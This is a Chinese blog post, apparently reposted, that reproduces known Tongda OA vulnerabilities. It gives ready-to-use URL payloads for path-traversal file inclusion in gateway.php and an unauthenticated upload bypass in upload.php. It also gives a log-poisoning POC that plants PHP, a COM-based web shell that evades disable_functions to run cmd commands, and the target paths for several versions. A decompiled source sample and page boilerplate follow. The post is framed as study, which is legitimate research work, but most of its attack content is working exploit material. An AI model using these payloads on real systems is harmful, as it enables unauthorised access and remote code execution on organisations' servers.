通达oa 2013 php解密,通达OA漏洞学习 - 安全先师的个人空间 - OSCHINA - 中文开源技术交流社区...

47e6aab5c74aab532a2ad7f5aaaaf36a.gif

说明

通达OA漏洞在去年上半年已爆出,这不趁着周末没事做,将源码下载下来进行复现学习。

文件包含测试

文件包含检测,payload1:

ip/ispirit/interface/gateway.php?json={"url":"/general/../../mysql5/my.ini"}

利用文件包含访问mysql.ini,检查是否有某些特定字符串 ,比如innodb_log_group_home_dir

6f028d7dabbe5faef07d6a6a23ba1330.png

payload2:

ip/ispirit/interface/gateway.php?json={}&url=/general/../../nginx/logs/oa.access.log

利用文件包含访问OA日志

dac70d4ade98f325ee1ecae143730eb5.png

复现

源码下载

链接:https://pan.baidu.com/s/1HP5pDsAK2QLOWpnB1JX-Yg提取码:vab0

是个exe,安装解压完是php代码。用Sublime打开,都是16进制加密

f3bac2dd2e0c7d11ef1be730d48ddc1b.png

用notepad打开显示,zend加密,

561564c51526362700a5c3ccaab4b39a.png

php在线解密网站:http://dezend.qiling.org/free.html

解密出源代码。

文件上传

ispirit/im/upload.php

要上传首先需要绕过登陆验证,在本系统中auth.php是登陆验证的相关逻辑,但在upload.php未修复前,如果$P非空就不需要经过auth.php验证即可执行后续代码。利用此处逻辑漏洞可绕过登陆验证直接上传文件。

712d9a14d8b79058f954314db2e98bb8.png

经过下载源码测试,上传后的文件在MYOA/attach/im/2003/目录下。因上传后的文件不在根目录,所以无法直接利用,因此需要进行文件包含。

02c23804469cad3f060ea4e9782ab9f4.png

文件包含

6bbf3c07d2185dc0f7735c2e25d1cdae.png

与上传相反,这里不传P参数就可以文件包含。未修复前,可通过精心构造json进入47行的includ_once进行文件包含。官方在补丁中过滤了 ,防止用户读取其他目录文件。

POC

poc有很多,其一,首先构造url并访问,在日志中写入一句话,原理是OA默认会将访问url,agent写日志。

/ispirit/interface/gateway.php?json={}&a=<?php  file_put_contents('1.php','hello123');?>

先在浏览器访问,

71bdd57bd768a86bc53f99f2ca52d354.png

发现"

cbbfcaea8a83cf4701461fc8f575cd69.png

用burp重新发包。

e21786b9dbc6f88594f81268c82ef182.png

成功写入日志。(写日志的方式省去了上传)

36e36828a8cd8481b85ca61c78513bd5.png

文件包含

2c864521c8f6296a13e6470222a955cb.png

如果php poc 为<?php file_put_contents('1.php','hello123');?>

则上传到 存在漏洞文件 gateway.php 同级目录,如果php poc为<?php file_put_contents('../1.php','hello123');?>,则上传到 上一级目录 ispirit 目录下。注意路径。

exp

通过 upload.php 上传一个文件,可自定义后缀名。经过下载源码测试,上传后的文件在MYOA/attach/im/2003/目录下。

思路一:

上传一个写shell的php文件,在利用文件包含写shell。

具体见exp.py。

思路二:

执行cmd,

MYOA/bin/ 目录下的 php.ini 禁用了一些执行,命令的函数。

disable_functions = exec,shell_exec,system,passthru,proc_open,show_source,phpinfodisable_classes =

参考

使用com组件绕过disable_functionshttps://www.cnblogs.com/-qing-/p/10944118.html

eg:

<?php $command=$_GET['a'];$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>

这里写的exp总是将post数据自动url编码。达不到burp的效果。

8cce962ef7d813d0340e6d9489734a17.png

a3fc6ca99b71dfd00bdcfa4966c0cb8e.png

需要先设置一次请求头setHeader("Content-Type", "application/x-www-form-urlencoded")再将数据拼接成string格式再进行发送 ,终于写成了exp2.py。

版本路径

不同环境路径不同。

例如2013:/ispirit/im/upload.php/ispirit/interface/gateway.php例如2017:/ispirit/im/upload.php/mac/gateway.php

后记

一些趣事,正常该用post包含的。

e6c5007dde0df47d3dbded2f8ef34f53.png

get包含就很玄学了。正常get请求(不空行)是不行的,在浏览器GET请求也是不能包含的。

ae897ece66356e0eda35b2af289cc59d.png

注意看我光标位置。必须空出来一行,否则不成功。get无请求体,不知道是什么原因。

c4183fa1a10ccb4726b72c3a8dcbe88b.png

空两行试试

b9291746596dbe330c14e0d4711925c0.png

发包,Content-Length都有了,可真牛啊。

9449bd84c682b0d1ee725889fbe7ea12.png

wireshark抓个包,get没请求体呀。见strange-get-include.pcap。

26f7cee8c2013788b9ba4b89e6462716.png

往期精彩

753a11436688cb6241bb6f91c65ba10e.png

感兴趣的可以点个关注!!!

关注「安全先师」

把握前沿安全脉搏

通达OA2010版本,完整general目录下php文件无加密,示例: <?php /*********************/ /* */ /* Version : 5.1.0 */ /* Author : RM */ /* Comment : 071223 */ /* */ /*********************/ include_once( "inc/auth.php" ); if ( $LOGIN_THEME != "10" ) { $query = "SELECT * from INTERFACE"; $cursor = exequery( $connection, $query ); if ( $ROW = mysql_fetch_array( $cursor ) ) { $IE_TITLE = $ROW['IE_TITLE']; } echo "<html>\r\n<head>\r\n<title>"; echo $IE_TITLE; echo "</title>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\">\r\n[removed][removed]\r\n[removed]\r\nself.moveTo(0,0);\r\nself.resizeTo(screen.availWidth,screen.availHeight);\r\nself.focus();\r\n\r\nrelogin=0;\r\nfunction exit()\r\n{\r\n if(document.body.clientWidth-event.clientX<50||event.altKey||event.ctrlKey)\r\n {\r\n"; if ( $ISPIRIT == 1 ) { echo "return;"; } echo " var req = new_req();\r\n\treq.open(\"GET\", \"relogin.php\", true);\r\n\treq.send('');\r\n }\r\n}\r\n\r\n[removed]\r\n</head>\r\n"; include_once( "inc/antivirus.txt" ); echo "<frameset rows=\"50,*,20\" cols=\"*\" frameborder=\"no\" border=\"0\" framespacing=\"0\" id=\"frame1\" <frame name=\"banner\" id=\"banner\" scrolling=\"no\" noresize=\"noresize\" src=\"topbar.php\" frameborder=\"0\">\r\n <frameset rows=\"*\" cols=\"200,*\" frameborder=\"no\" border=\"0\" framespacing=\"0\" id=\"frame2\">\r\n <frame name=\"leftmenu\" id=\"leftmenu\" scrolling=\"no\" noresize=\"noresize\" src=\"ipanel\" frameborder=\"0\">\r\n <frame name=\"table_index\" id=\"table_index\" scrolling=\"no\" src=\"table.php\" frameborder=\"0\">\r\n </frameset>\r\n <frame name=\"status_bar\" id=\"status_bar\" scrolling=\"no\" noresize=\"noresize\" src=\"status_bar\" frameborder=\"0\">\r\n</frameset>\r\n</html>\r\n"; exit( ); } include_once( "inc/utility_all.php" ); include_once( "inc/td_core.php" ); include_once( "inc/chinese_date.php" ); include_once( "inc/sys_function_all.php" ); ob_end_clean( ); 本资源(仅供技术学习,版权归原公司所有)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值